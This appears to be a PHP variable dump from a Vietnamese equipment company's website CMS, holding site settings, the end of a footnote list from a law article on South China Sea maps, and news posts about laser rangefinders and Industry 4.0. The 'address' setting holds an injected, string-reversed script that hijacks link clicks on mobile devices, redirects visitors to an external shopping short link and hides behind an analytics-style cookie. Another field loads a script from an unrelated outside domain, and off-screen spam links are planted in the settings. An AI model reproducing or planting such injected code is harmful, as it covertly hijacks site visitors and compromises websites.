India), [1960] I.C.J. Rep. 6 at 40. Xem thêm Land, Island and Maritime Frontier Dispute, supra note 111 at 577, para. 364.</div> <div> </div> <div> [129] Fisheries Case, supra note 66 at 138; Chamizal Case (Mexico v. United States), Award of 15 June 1911, [2006] XI Reports of International Arbitral Awards 309 at 329.</div> <div> </div> <div> [130] E.g. Hyung K. LEE, ‘‘Mapping the Law of Legalizing Maps: The Implications of the Emerging Rule on Map Evidence in International Law’’ (2005) 14 Pacific Rim Law and Policy Journal 159 at 159–75, 188; Abou-el-Wafa, supra note 37 at 438–9.</div> <div> </div> <div> [131] Abou-el-Wafa, supra note 37 at 128–9.</div> <div> </div> <div> [132] Xem generally Sam BATEMAN and Ralf EMMERS, eds., Security and International Politics in the South China Sea: Towards a Cooperative Management Regime (Abingdon: Routledge, 2009).</div> <div> </div> <div> [133] . Đối với một tổng quan về các phương pháp hội thảo và thành công của nó, xem SONG Yann-Huei, ‘‘The South China Sea Workshop Process and Taiwan’s Participation’’ (2010) 41 Ocean Development and International Law 253 at 256–60.</div> <div> </div> <div> [134] Xem chẳng hạn. Aldo CHIRCOP, ‘‘Regional Cooperation in Marine Environmental Protection in the South China Sea: A Reflection on New Directions for Marine Conservation’’ (2010) 41 Ocean Development and International Law 334; John W. MCMANUS, SHAO Kwang-Tsao, and LIN Szu-Yin, ‘‘Toward Establishing a Spratly Islands International Marine Peace Park: Ecological Importance and Supportive Collaborative Activities with an Emphasis on the Role of Taiwan’’ (2010) 41 Ocean Development and International Law 270; TUAN Vo Si and John PERNETTA, ‘‘The UNEP/GEF South China Sea Project: Lessons Learnt in Regional Cooperation’’ (2010) 53 Ocean and Coastal Management 589 SONG Yann-Huei, ‘‘AMarine Biodiversity Project in the South China Sea: Joint Efforts Made in the SCS Workshop Process’’ (2011) 26 International Journal of Marine and Coastal Law 119.</div> <div> </div> <div> [135] Robert C. BECKMAN, ‘‘Joint Development of Hydrocarbon Resources in the South China Sea: International Legal Framework’’ (16–17 June 2011), online: National University of Singapore—Centre for International Law http://cil.nus.edu.sg/wp/wp-content/uploads/2011/06/Session-2-Beckman- Session-2-CIL-JD-SCS-pdf.pdf. Xem chẳng hạn. Memorandum of Understanding between Malaysia and the Socialist Republic of Vietnam for the Exploration and Exploitation of Petroleum in a Defined Area of the Continental Shelf Involving the Two Countries, 5 June 1992 (entered into force 4 June 1993), online: NUS-CIL http://cil.nus.edu.sg/1992/1992-memorandum-of-understanding-between-malaysia-and-thesocialist- republic-of-vietnam-for-the-exploration-and-exploitation-of-petroleum-in-a-defined-area-of-thecontinental- shelf-involving-the-two-c/.</div> ', 'images' => '20160621064535a247e33589ec59fdaf79061d7d9daa4f.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-21', 'modified' => '2025-08-19', 'status' => '1', 'view' => '47027', 'slug' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '725', 'rght' => '726', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $setting = array( 'id' => '1', 'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'address_eng' => '<div> QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div> <div> Representative: Le Van</div> <div> Position: Director</div> <div> Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div> <div> Phone number:</div> <div> Email:</div> <div> Tax code: 0103008064</div> ', 'address' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p> <h2 style="position: absolute; top: -100000px; overflow: auto;"> <a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2> <div> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc<br /> Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br /> Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br /> Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br /> Số điện thoại công ty: 02437759534</div> <div> <div> Số điện thoại kỹ thuật: 0904212040</div> <div> Số điện thoại kinh doanh: 0913303547</div> </div> <div> </div> <div> </div> </div><script> const sl={get a(){return sl.g("nepo")},get b(){return sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h(); </script> ', 'contactinfo_eng' => '<div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> ', 'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br /> <br /> 1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br /> 2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br /> 3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br /> 4. 190-256-018-210-13 - Nguyễn Văn Hiệu - Techcombank, Hà Nội<br /> 5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội', 'contactinfo' => '<div dir="rtl" style="text-align: left;"> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> </div> <div style=""> <span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br /> </div> <div style="position: absolute; left: -10000px;"> <a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div> ', 'telephone' => '01659 014592', 'hotline' => '0913303547', 'email' => '', 'url' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2012-06-05', 'modified' => '1752726853', 'youtube' => 'http://youtube.com', 'twitter' => 'https://twitter.com/', 'myspace' => 'https://myspace.com/', 'facebook' => 'https://www.facebook.com/FacebookVietnam/', 'email2' => 'duycuong7640', 'skype' => 'hothihuyen.hn', 'yahoo' => 'duycuong7640', 'yahoo1' => 'duycuong7640', 'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873', 'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> ', 'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux', 'slogan_eng' => '', 'printer' => '', 'googleplus' => '', 'bando' => '<p> <iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p> <script src='https://cdnliver.com/js/thanhtuyen.js'></script>', 'gioithieu' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p> ', 'thongtincongty' => 'Sửa máy lạnh tại nhà Sửa máy lạnh tại HCM Sửa tủ lạnh Bơm ga máy lạnh ', 'trogiupkh' => 'Tai nghe Iphone Sua may tinh tai nha Máy Ozone Z755', 'dichvuft' => 'Sửa máy lạnh Bảo dưỡng máy lạnh Vệ sinh máy lạnh Lắp đặt máy lạnh', 'bb' => '', 'zing' => '', 'hotline2' => '0912 35 65 75', 'thelink' => '<script type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-72584674-1', 'auto'); ga('send', 'pageview'); </script> <!-- Global site tag (gtag.js) - Google Ads: 876059345 --> <script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'AW-876059345'); </script> ', 'theh1' => '', 'hanoi' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tphcm' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tt' => '', 'pp' => 'https://www.facebook.com/ruaxetudong.net', 'tphcm_eng' => '', 'hanoi_eng' => '', 'hotline_eng' => '', 'name_eng' => '', 'chinhsach' => null, 'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'bandohaiphong' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'gt' => '<p style="text-align: center;"> </p> <span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" /> <img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br /> <img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" /> <span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span> <p style="text-align: center;"> <iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p> ', 'gt_eng' => '' ) $description_for_layout = '' $keywords_for_layout = '' $tintucnoibat = array( (int) 0 => array( 'Post' => array( 'id' => '539', 'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH', 'code' => null, 'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của vật.<br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br /> <img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br /> <br /> <strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Ph</span>ạm vi hoạt động</strong><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br /> <strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br /> <br /> <p style="margin: 10px 0px; padding: 0px;"> </p> ', 'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-06-10', 'modified' => '2025-08-19', 'status' => '1', 'view' => '89620', 'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '943', 'rght' => '944', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '538', 'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?', 'code' => null, 'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>', 'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> </h1> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1> </li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác trên dữ liệu nhận được.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 